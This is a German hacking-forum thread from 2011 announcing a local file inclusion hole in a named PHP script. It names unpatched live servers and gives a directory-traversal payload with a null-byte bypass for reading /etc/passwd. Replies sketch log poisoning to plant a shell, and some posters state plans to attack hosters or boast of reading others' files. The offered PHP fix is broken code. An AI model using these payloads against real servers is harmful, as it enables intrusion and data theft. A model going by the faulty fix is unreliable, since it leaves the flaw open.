[Exploit]FileInserting Lücke

02/03/2011 17:11 Daroolein#1
Hallo,
ich möchte hier mal auf eine kleine Lücke
in hen!'s Script hinweisen, weiß nicht, ob das noch niemandem
aufgefallen ist, aber ziemlich viele Server wie edg haben es nicht gefixxt.
Da ich immer der Meinung war, dass die Leute selber etwas rausfinden sollen,
poste ich hier kein Tutorial, wo ihr c&p machen könnt.

So, jetzt zum eigentlichen Exploit:
Code:
index.php?s=register
Hier wird an Variable $s folgendes hinzugefügt
Code:
./pages/$s.php
also wird bei
Code:
index.php?s=register
die register.php unter /pages/ aufgerufen.
So, nun, das können wir auch ausnutzen, so z.B. bei edg:
Code:
index.php?s=../../../../../../../../etc/passwd
Aber moment, fällt euch was auf? Genau, passiert nichts!
Das liegt daran, dass er noch ein .php dranhängt, und somit aus
Code:
/etc/passwd
Code:
/etc/passwd.php
macht. Aber da dies nicht existiert, inserted er wieder die home.php.
Aber das können wir dankk ASCII mit einem Nullbyte ganz einfach umgehen!
Code:
index.php?s=../../../../../../../../etc/passwd%00
Code:
%00 kennzeichnet einen String als beendet.
Wie wir sehen, wurde jetzt die passwd inserted! Aber das an sich bringt uns
nicht viel, da die Passwörter in der shadow gespeichert werden, und darauf
haben wir keinen Zugriff.

An dieser Stelle höre ich auf, wie man eine c99 inserted, werde ich nicht beschreiben,
das solltet ihr selber können, und falls nicht, solltet ihr die Finger von der Lücke
lassen.


Wie ihr es fixxen könnt? Ganz einfach:
Ich benutze gerne eine Abfrage:
Code:
<?php
 
$pages = array("home", "register", "login");
 
if (isset($_GET["s"]) && !empty($_GET["s"]))
    $page = $_GET["s"];
else
    $page = "main";
 
if (in_array($s, $s) && file_exists($s.".php"))
    include $s.".php";
else
    inlcude "home.php";
 
?>
#Quelle J0hn.X3r
Das müsst ihr jetzt selbst anpassen ;)

RFI funktioniert hier nicht, ~getestet.

Danke an .SoNiice' der mir geholfen hat, die Lücke auszubauen,
und J0hn.X3r für den Fixx.

Mit freundlichen Grüßen,
'Daroo
02/03/2011 17:22 .Marcel'#2
naise exploit.
Aber mich wundert auch das es noch niemand gefunden hat.
Aber jemand ohne kentnisse wird es wohl eh nicht fixxen können, oder Hen! bringt einen Fix
02/03/2011 17:25 Computerfreek#3
Auch LFI (Local File Inclusion)

Fehlerhafte Anfrage an Server mit der Shell als Anfrage -> Shell wird in Errorlog geschrieben -> Shell mit der LFI aufrufen -> BÄM FTP-Zugriff auf den Server (MySQL Configs)
02/03/2011 17:32 IgorGlock#4
Ach, du scheiße! Jetzt werden 0815 Hoster sterben gehen... bin dran :>
Wir schreiben das Jahr 2011.

Danke für den Hinweiß :>
Mit einen Mix aus diesen Wissen und meinen Wissen wird da noch was lustiges stattfinden.

Danke vielmals. SQL Inc. ist nicht mein Wissenspart.
02/03/2011 17:32 Daroolein#5
Quote:
Originally Posted by Computerfreek View Post
Auch LFI (Local File Inclusion)

Fehlerhafte Anfrage an Server mit der Shell als Anfrage -> Shell wird in Errorlog geschrieben -> Shell mit der LFI aufrufen -> BÄM FTP-Zugriff auf den Server (MySQL Configs)
Ja das weiß ich, aber ich woltle das nicht gleich erwähnen, damit die
Knubs anfangen Google zu usen, und dann eine Step by Step Anleitung
finden.

Quote:
Originally Posted by IgorGlock View Post
Ach, du scheiße! Jetzt werden 0815 Hoster sterben gehen... bin dran :>
Wir schreiben das Jahr 2011.

Danke für den Hinweiß :>
Mit einen Mix aus diesen Wissen und meinen Wissen wird da noch was lustiges stattfinden.

Danke vielmals. SQL Inc. ist nicht mein Wissenspart.
Komisch, dass du nicht selbst drauf gekommen bist :D Ist total offensichtlich ^^
02/03/2011 17:34 .Boss'#6
Alter Pokemon Trainer kauf dir ein GameBoy Color und spiel da Pokemon
oder beim NDS ABER SPAMM HIER NICHT RUM


#reported !
02/03/2011 17:37 Computerfreek#7
Wenn ich mich nicht irre, dann würde es auch reichen ein htmlspecialchars() um die ariable zu setzten. Dann wird das Nullbyte escaped & gut ist. Bin mir aber nicht sicher.
02/03/2011 17:37 #SoNiice#8
@IgorGlock,
hättest du mich nicht in IcQ auf Block hätte ich es dir schon lange gesagt.
Deine passwd unso von deinem Linuxroot ist ganz witzig :awesome:

Strato rules, nicht wahr? :>
02/03/2011 17:38 TeeH#9
Hey danke dir ^^ Hab auch schon überlegt ob da irgendwas fehlt weil irgendwie kam bei mir immer irgendeine Meldung... jetzt ist sie weg

danke dir
02/03/2011 17:40 .Boss'#10
Quote:
Originally Posted by B4c4rDi View Post
#reported spam
p.s. thx fürn tipp :p
€: du sau :D warst früher wie ich :(
Editier bitte den Qoute weg
dafür gibs Infra

Ps: Ich hab schon reported
02/03/2011 17:45 Tookies#11
LuL, jetzt sind hier schon teilweiße Anleitungen für eine LFI ...
Ich würde den Part mit dem Includen der Host Datei weglassen,
soetwas gehört hier nicht hin.
02/03/2011 18:14 Anonymous-7372#12
ja, aber seit vorischtig er sagt er ist der beste und ihr seid wohl nicht würdig mit ihm zu reden, ich auch nicht. Nett das du es Pub machst, aber nächstes mal PN an !hen
02/03/2011 18:15 Daroolein#13
Das ist nur ein Beispiel, was man includen kann, aber das bringt
den Leuten rein garnichts, wenn sie nicht wissen, wie sie Zugriff
auf's Dateisystem kriegen.

Quote:
Originally Posted by beat'brot View Post
ja, aber seit vorischtig er sagt er ist der beste und ihr seid wohl nicht würdig mit ihm zu reden, ich auch nicht. Nett das du es Pub machst, aber nächstes mal PN an !hen
Wen meinst du damit?
02/03/2011 18:18 Anonymous-7372#14
ich mein Tookies, er war in letzer zeit sagen wir nicht gerade "nett" zu mir,
und mit PN an !hen mein ich dich
02/03/2011 18:18 .Marcel'#15
Quote:
Originally Posted by beat'brot View Post
ja, aber seit vorischtig er sagt er ist der beste und ihr seid wohl nicht würdig mit ihm zu reden, ich auch nicht. Nett das du es Pub machst, aber nächstes mal PN an !hen
Hat man davon wen man leute hinter ihrem rücken beleidigt etc.
Tookies ist sehr sehr gut in php und was Anwedungsentwicklung angeht.
Klopf hier nicht so große sprüche, wenn du nichtmal ahnung hast , um was es hier geht.

--------

Ich glaube aber das alle 0815 server jetzt sowieso auf Hen! warten müssen, da sie es eh nicht gebacken bekommen, den exploit zu fixxen.